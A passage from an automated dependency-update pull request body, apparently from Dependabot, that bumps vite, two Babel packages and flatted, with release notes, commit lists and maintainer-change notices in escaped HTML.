href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/20544\"\u003e#20544\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/7d9922972b62329d37a71d4da5a4a382d0bf8a79\"\u003e7d99229\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/20544\"\u003e#20544\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003c!-- raw HTML omitted --\u003e6.3.5 (2025-05-05)\u003c!-- raw HTML omitted --\u003e\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix(ssr): handle uninitialized export access as undefined (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/19959\"\u003e#19959\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/fd38d076fe2455aac1e00a7b15cd51159bf12bb5\"\u003efd38d07\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/19959\"\u003e#19959\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003c!-- raw HTML omitted --\u003e6.3.4 (2025-04-30)\u003c!-- raw HTML omitted --\u003e\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: check static serve file inside sirv (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/19965\"\u003e#19965\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/c22c43de612eebb6c182dd67850c24e4fab8cacb\"\u003ec22c43d\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/19965\"\u003e#19965\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(optimizer): return plain object when using \u003ccode\u003erequire\u003c/code\u003e to import externals in optimized dependenci (\u003ca href=\"https://github.com/vitejs/vite/commit/efc5eab253419fde0a6a48b8d2f233063d6a9643\"\u003eefc5eab\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/19940\"\u003e#19940\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/6c2c881f15495738ff03bc1d67cc052c07e0cac4\"\u003e\u003ccode\u003e6c2c881\u003c/code\u003e\u003c/a\u003e release: v6.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/96b0c10162e9c55485d922db2cfc6b8227cbc176\"\u003e\u003ccode\u003e96b0c10\u003c/code\u003e\u003c/a\u003e fix: backport \u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/22572\"\u003e#22572\u003c/a\u003e, reject windows alternate paths (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/22576\"\u003e#22576\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/8fed5cf540c0d475266787f52072f258478cd42f\"\u003e\u003ccode\u003e8fed5cf\u003c/code\u003e\u003c/a\u003e fix(deps): backport \u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/22571\"\u003e#22571\u003c/a\u003e, reject UNC paths for launch-editor-middleware (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/2\"\u003e#2\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/6b3fad02abd550bd7b79934ff92c58dbd7f33045\"\u003e\u003ccode\u003e6b3fad0\u003c/code\u003e\u003c/a\u003e release: v6.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/ca4da5d1fb45c9cfdce606aa30825095791b164b\"\u003e\u003ccode\u003eca4da5d\u003c/code\u003e\u003c/a\u003e fix: avoid path traversal with optimize deps sourcemap handler (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/22161\"\u003e#22161\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/fe28e47e9463e4c9619f94bfa06d2f8f1411b44b\"\u003e\u003ccode\u003efe28e47\u003c/code\u003e\u003c/a\u003e fix: apply server.fs check to env transport (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/22159\"\u003e#22159\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/22163\"\u003e#22163\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/5487f4f641f70c47ea05fd101a4319897df048b3\"\u003e\u003ccode\u003e5487f4f\u003c/code\u003e\u003c/a\u003e release: v6.4.1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/1114b5d7ea03e26572708715343bec69db4536e8\"\u003e\u003ccode\u003e1114b5d\u003c/code\u003e\u003c/a\u003e fix(dev): trim trailing slash before \u003ccode\u003eserver.fs.deny\u003c/code\u003e check (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/20968\"\u003e#20968\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/20969\"\u003e#20969\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/f12697c0f64b9a37196b9ab218a0911829d5b103\"\u003e\u003ccode\u003ef12697c\u003c/code\u003e\u003c/a\u003e release: v6.4.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/ca6455ee9eb6111a9caa9810506a1b9ac96a520a\"\u003e\u003ccode\u003eca6455e\u003c/code\u003e\u003c/a\u003e feat: allow passing down resolved config to vite's createServer (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/20932\"\u003e#20932\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/vitejs/vite/commits/v6.4.3/packages/vite\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for vite since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@babel/core` from 7.23.9 to 7.29.7\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/babel/babel/releases\"\u003e@​babel/core's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev7.29.7 (2026-05-25)\u003c/h2\u003e\n\u003cp\u003eRe-release all packages with npm provenance attestations\u003c/p\u003e\n\u003ch2\u003ev7.29.6 (2026-05-25)\u003c/h2\u003e\n\u003ch4\u003e:bug: Bug Fix\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003ebabel-generator\u003c/code\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/babel/babel/pull/18014\"\u003e#18014\u003c/a\u003e Catchup source map position in preserveFormat (\u003ca href=\"https://github.com/nicolo-ribaudo\"\u003e\u003ccode\u003e@​nicolo-ribaudo\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003ebabel-core\u003c/code\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/babel/babel/pull/18001\"\u003e#18001\u003c/a\u003e [7.x packport]Improve input source map handling (\u003ca href=\"https://github.com/JLHwung\"\u003e\u003ccode\u003e@​JLHwung\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003ebabel-core\u003c/code\u003e, \u003ccode\u003ebabel-generator\u003c/code\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/babel/babel/pull/17998\"\u003e#17998\u003c/a\u003e Preserve original identifier names from input sourcemaps (\u003ca href=\"https://github.com/babel/babel/tree/HEAD/packages/babel-core/issues/17992\"\u003e#17992\u003c/a\u003e) (\u003ca href=\"https://github.com/Andarist\"\u003e\u003ccode\u003e@​Andarist\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4\u003eCommitters: 3\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003eHuáng Jùnliàng (\u003ca href=\"https://github.com/JLHwung\"\u003e\u003ccode\u003e@​JLHwung\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMateusz Burzyński (\u003ca href=\"https://github.com/Andarist\"\u003e\u003ccode\u003e@​Andarist\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eNicolò Ribaudo (\u003ca href=\"https://github.com/nicolo-ribaudo\"\u003e\u003ccode\u003e@​nicolo-ribaudo\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev7.29.5 (2026-05-05)\u003c/h2\u003e\n\u003ch4\u003e:house:  Internal\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003ebabel-preset-env\u003c/code\u003e\n\u003cul\u003e\n\u003cli\u003eUpdate \u003ccode\u003e@babel/*\u003c/code\u003e dependencies\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev7.29.4 (2026-05-05)\u003c/h2\u003e\n\u003ch4\u003e:bug: Bug Fix\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003ebabel-plugin-transform-modules-systemjs\u003c/code\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/babel/babel/pull/17974\"\u003e#17974\u003c/a\u003e [7.x backport]fix(systemjs): improve module string name support (\u003ca href=\"https://github.com/JLHwung\"\u003e\u003ccode\u003e@​JLHwung\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4\u003eCommitters: 1\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003eHuáng Jùnliàng (\u003ca href=\"https://github.com/JLHwung\"\u003e\u003ccode\u003e@​JLHwung\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev7.29.3 (2026-04-30)\u003c/h2\u003e\n\u003ch4\u003e:eyeglasses: Spec Compliance\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003ebabel-parser\u003c/code\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/babel/babel/pull/17923\"\u003e#17923\u003c/a\u003e Support flow extends bound (\u003ca href=\"https://github.com/JLHwung\"\u003e\u003ccode\u003e@​JLHwung\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4\u003e:bug: Bug Fix\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003ebabel-helper-create-class-features-plugin\u003c/code\u003e, \u003ccode\u003ebabel-plugin-proposal-decorators\u003c/code\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/babel/babel/pull/17931\"\u003e#17931\u003c/a\u003e fix(decorators): replace super within all removed static elements (\u003ca href=\"https://github.com/JLHwung\"\u003e\u003ccode\u003e@​JLHwung\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003ebabel-register\u003c/code\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/babel/babel/pull/17915\"\u003e#17915\u003c/a\u003e Fix thread synchronization issues in \u003ccode\u003e@babel/register\u003c/code\u003e (\u003ca href=\"https://github.com/liuxingbaoyu\"\u003e\u003ccode\u003e@​liuxingbaoyu\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003ebabel-compat-data\u003c/code\u003e, \u003ccode\u003ebabel-plugin-bugfix-safari-rest-destructuring-rhs-array\u003c/code\u003e, \u003ccode\u003ebabel-preset-env\u003c/code\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/babel/babel/pull/17788\"\u003e#17788\u003c/a\u003e Add bugfix plugin for Safari array rest destructuring bug (\u003ca href=\"https://github.com/JLHwung\"\u003e\u003ccode\u003e@​JLHwung\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4\u003e:nail_care: Polish\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003ebabel-parser\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/babel/babel/commit/4fba7541180bf5f58256d8e358b544e3831ad090\"\u003e\u003ccode\u003e4fba754\u003c/code\u003e\u003c/a\u003e v7.29.7\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/babel/babel/commit/04ea6b27fdac8f40c3481aec2080ac9678779509\"\u003e\u003ccode\u003e04ea6b2\u003c/code\u003e\u003c/a\u003e v7.29.6\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/babel/babel/commit/99f498a9b9fa0b900d603fbe8f6601bb3b9e42bb\"\u003e\u003ccode\u003e99f498a\u003c/code\u003e\u003c/a\u003e [7.x packport]Improve input source map handling (\u003ca href=\"https://github.com/babel/babel/tree/HEAD/packages/babel-core/issues/18001\"\u003e#18001\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/babel/babel/commit/feba0a3654c596bd369d1ef1231f5d56666d56dc\"\u003e\u003ccode\u003efeba0a3\u003c/code\u003e\u003c/a\u003e Preserve original identifier names from input sourcemaps (\u003ca href=\"https://github.com/babel/babel/tree/HEAD/packages/babel-core/issues/17992\"\u003e#17992\u003c/a\u003e) (\u003ca href=\"https://github.com/babel/babel/tree/HEAD/packages/babel-core/issues/17998\"\u003e#17998\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/babel/babel/commit/aa8394e454337d118ac3d40bfa3ee1a3cb3f3ed2\"\u003e\u003ccode\u003eaa8394e\u003c/code\u003e\u003c/a\u003e v7.29.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/babel/babel/commit/ad0d03f0c92404a60ec6b1c12f15febd38e2397a\"\u003e\u003ccode\u003ead0d03f\u003c/code\u003e\u003c/a\u003e [7.x backport] feat: Allow specifying startLine in code frame (\u003ca href=\"https://github.com/babel/babel/tree/HEAD/packages/babel-core/issues/17739\"\u003e#17739\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/babel/babel/commit/d7f400889567ae18ef9ac41b024b5120f6060e17\"\u003e\u003ccode\u003ed7f4008\u003c/code\u003e\u003c/a\u003e v7.28.6\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/babel/babel/commit/e130225028e93e106135586f344cfa44c4aac847\"\u003e\u003ccode\u003ee130225\u003c/code\u003e\u003c/a\u003e Polish(standalone): improve message on invalid preset/plugin (\u003ca href=\"https://github.com/babel/babel/tree/HEAD/packages/babel-core/issues/17606\"\u003e#17606\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/babel/babel/commit/99dcba5e71de3bd81ce14077cfa5b6df58e9b177\"\u003e\u003ccode\u003e99dcba5\u003c/code\u003e\u003c/a\u003e chore: enable some ts-eslint rules (\u003ca href=\"https://github.com/babel/babel/tree/HEAD/packages/babel-core/issues/17592\"\u003e#17592\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/babel/babel/commit/c92c4919771105140015167f25f7bacac77c90d9\"\u003e\u003ccode\u003ec92c491\u003c/code\u003e\u003c/a\u003e Improve Unicode handling in code-frame tokenizer (\u003ca href=\"https://github.com/babel/babel/tree/HEAD/packages/babel-core/issues/17589\"\u003e#17589\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/babel/babel/commits/v7.29.7/packages/babel-core\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for \u003ccode\u003e@​babel/core\u003c/code\u003e since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@babel/plugin-transform-modules-systemjs` from 7.23.9 to 7.29.7\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/babel/babel/releases\"\u003e@​babel/plugin-transform-modules-systemjs's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev7.29.7 (2026-05-25)\u003c/h2\u003e\n\u003cp\u003eRe-release all packages with npm provenance attestations\u003c/p\u003e\n\u003ch2\u003ev7.29.6 (2026-05-25)\u003c/h2\u003e\n\u003ch4\u003e:bug: Bug Fix\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003ebabel-generator\u003c/code\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/babel/babel/pull/18014\"\u003e#18014\u003c/a\u003e Catchup source map position in preserveFormat (\u003ca href=\"https://github.com/nicolo-ribaudo\"\u003e\u003ccode\u003e@​nicolo-ribaudo\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003ebabel-core\u003c/code\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/babel/babel/pull/18001\"\u003e#18001\u003c/a\u003e [7.x packport]Improve input source map handling (\u003ca href=\"https://github.com/JLHwung\"\u003e\u003ccode\u003e@​JLHwung\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003ebabel-core\u003c/code\u003e, \u003ccode\u003ebabel-generator\u003c/code\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/babel/babel/pull/17998\"\u003e#17998\u003c/a\u003e Preserve original identifier names from input sourcemaps (\u003ca href=\"https://github.com/babel/babel/tree/HEAD/packages/babel-plugin-transform-modules-systemjs/issues/17992\"\u003e#17992\u003c/a\u003e) (\u003ca href=\"https://github.com/Andarist\"\u003e\u003ccode\u003e@​Andarist\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4\u003eCommitters: 3\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003eHuáng Jùnliàng (\u003ca href=\"https://github.com/JLHwung\"\u003e\u003ccode\u003e@​JLHwung\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMateusz Burzyński (\u003ca href=\"https://github.com/Andarist\"\u003e\u003ccode\u003e@​Andarist\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eNicolò Ribaudo (\u003ca href=\"https://github.com/nicolo-ribaudo\"\u003e\u003ccode\u003e@​nicolo-ribaudo\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev7.29.5 (2026-05-05)\u003c/h2\u003e\n\u003ch4\u003e:house:  Internal\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003ebabel-preset-env\u003c/code\u003e\n\u003cul\u003e\n\u003cli\u003eUpdate \u003ccode\u003e@babel/*\u003c/code\u003e dependencies\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev7.29.4 (2026-05-05)\u003c/h2\u003e\n\u003ch4\u003e:bug: Bug Fix\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003ebabel-plugin-transform-modules-systemjs\u003c/code\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/babel/babel/pull/17974\"\u003e#17974\u003c/a\u003e [7.x backport]fix(systemjs): improve module string name support (\u003ca href=\"https://github.com/JLHwung\"\u003e\u003ccode\u003e@​JLHwung\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4\u003eCommitters: 1\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003eHuáng Jùnliàng (\u003ca href=\"https://github.com/JLHwung\"\u003e\u003ccode\u003e@​JLHwung\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev7.29.3 (2026-04-30)\u003c/h2\u003e\n\u003ch4\u003e:eyeglasses: Spec Compliance\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003ebabel-parser\u003c/code\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/babel/babel/pull/17923\"\u003e#17923\u003c/a\u003e Support flow extends bound (\u003ca href=\"https://github.com/JLHwung\"\u003e\u003ccode\u003e@​JLHwung\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4\u003e:bug: Bug Fix\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003ebabel-helper-create-class-features-plugin\u003c/code\u003e, \u003ccode\u003ebabel-plugin-proposal-decorators\u003c/code\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/babel/babel/pull/17931\"\u003e#17931\u003c/a\u003e fix(decorators): replace super within all removed static elements (\u003ca href=\"https://github.com/JLHwung\"\u003e\u003ccode\u003e@​JLHwung\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003ebabel-register\u003c/code\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/babel/babel/pull/17915\"\u003e#17915\u003c/a\u003e Fix thread synchronization issues in \u003ccode\u003e@babel/register\u003c/code\u003e (\u003ca href=\"https://github.com/liuxingbaoyu\"\u003e\u003ccode\u003e@​liuxingbaoyu\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003ebabel-compat-data\u003c/code\u003e, \u003ccode\u003ebabel-plugin-bugfix-safari-rest-destructuring-rhs-array\u003c/code\u003e, \u003ccode\u003ebabel-preset-env\u003c/code\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/babel/babel/pull/17788\"\u003e#17788\u003c/a\u003e Add bugfix plugin for Safari array rest destructuring bug (\u003ca href=\"https://github.com/JLHwung\"\u003e\u003ccode\u003e@​JLHwung\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4\u003e:nail_care: Polish\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003ebabel-parser\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/babel/babel/commit/4fba7541180bf5f58256d8e358b544e3831ad090\"\u003e\u003ccode\u003e4fba754\u003c/code\u003e\u003c/a\u003e v7.29.7\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/babel/babel/commit/a458f66074b97d54773db8159af673d23b26079b\"\u003e\u003ccode\u003ea458f66\u003c/code\u003e\u003c/a\u003e v7.29.4\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/babel/babel/commit/32ebd5aaf2526ddd176fd6a3d1e3dc594abdc8d9\"\u003e\u003ccode\u003e32ebd5a\u003c/code\u003e\u003c/a\u003e [7.x backport]fix(systemjs): improve module string name support (\u003ca href=\"https://github.com/babel/babel/tree/HEAD/packages/babel-plugin-transform-modules-systemjs/issues/17974\"\u003e#17974\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/babel/babel/commit/aa8394e454337d118ac3d40bfa3ee1a3cb3f3ed2\"\u003e\u003ccode\u003eaa8394e\u003c/code\u003e\u003c/a\u003e v7.29.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/babel/babel/commit/0053db620c05acf0036f593b5aaf4e372daa79d0\"\u003e\u003ccode\u003e0053db6\u003c/code\u003e\u003c/a\u003e Update polyfill packages (\u003ca href=\"https://github.com/babel/babel/tree/HEAD/packages/babel-plugin-transform-modules-systemjs/issues/17727\"\u003e#17727\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/babel/babel/commit/61647ae2397c82c3c71f077b5ab109106a5cac0f\"\u003e\u003ccode\u003e61647ae\u003c/code\u003e\u003c/a\u003e v7.28.5\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/babel/babel/commit/a177d551adba99773f4ff00ea9bf46550def6132\"\u003e\u003ccode\u003ea177d55\u003c/code\u003e\u003c/a\u003e [Babel 8] Use \u003ccode\u003et.traverseFast\u003c/code\u003e to replace some \u003ccode\u003epath.traverse\u003c/code\u003e (\u003ca href=\"https://github.com/babel/babel/tree/HEAD/packages/babel-plugin-transform-modules-systemjs/issues/17518\"\u003e#17518\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/babel/babel/commit/eebd3a06021c13d335b5b0bd79734df3abbea678\"\u003e\u003ccode\u003eeebd3a0\u003c/code\u003e\u003c/a\u003e v7.27.1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/babel/babel/commit/317e332e650bc04907bc787ab79f930288a3e71e\"\u003e\u003ccode\u003e317e332\u003c/code\u003e\u003c/a\u003e Enforce node protocol import (\u003ca href=\"https://github.com/babel/babel/tree/HEAD/packages/babel-plugin-transform-modules-systemjs/issues/17207\"\u003e#17207\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/babel/babel/commit/fdc0fb59e119ee0b38bced63867a344a5b4bc2f3\"\u003e\u003ccode\u003efdc0fb5\u003c/code\u003e\u003c/a\u003e [Babel 8] Bump nodejs requirements to \u003ccode\u003e^20.19.0 || \u0026gt;= 22.12.0\u003c/code\u003e (\u003ca href=\"https://github.com/babel/babel/tree/HEAD/packages/babel-plugin-transform-modules-systemjs/issues/17204\"\u003e#17204\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/babel/babel/commits/v7.29.7/packages/babel-plugin-transform-modules-systemjs\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for \u003ccode\u003e@​babel/plugin-transform-modules-systemjs\u003c/code\u003e since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `flatted` from 3.2.9 to 3.4.2\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/WebReflection/flatted/commit/3bf09091c3562e17a0647bc06710dd6097079cf7\"\u003e\u003ccode\u003e3bf0909\u003c/code\u003e\u003c/a\u003e 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/WebReflection/flatted/commit/885ddcc33cf9657caf38c57c7be45ae1c5272802\"\u003e\u003ccode\u003e885ddcc\u003c/code\u003e\u003c/a\u003e fix 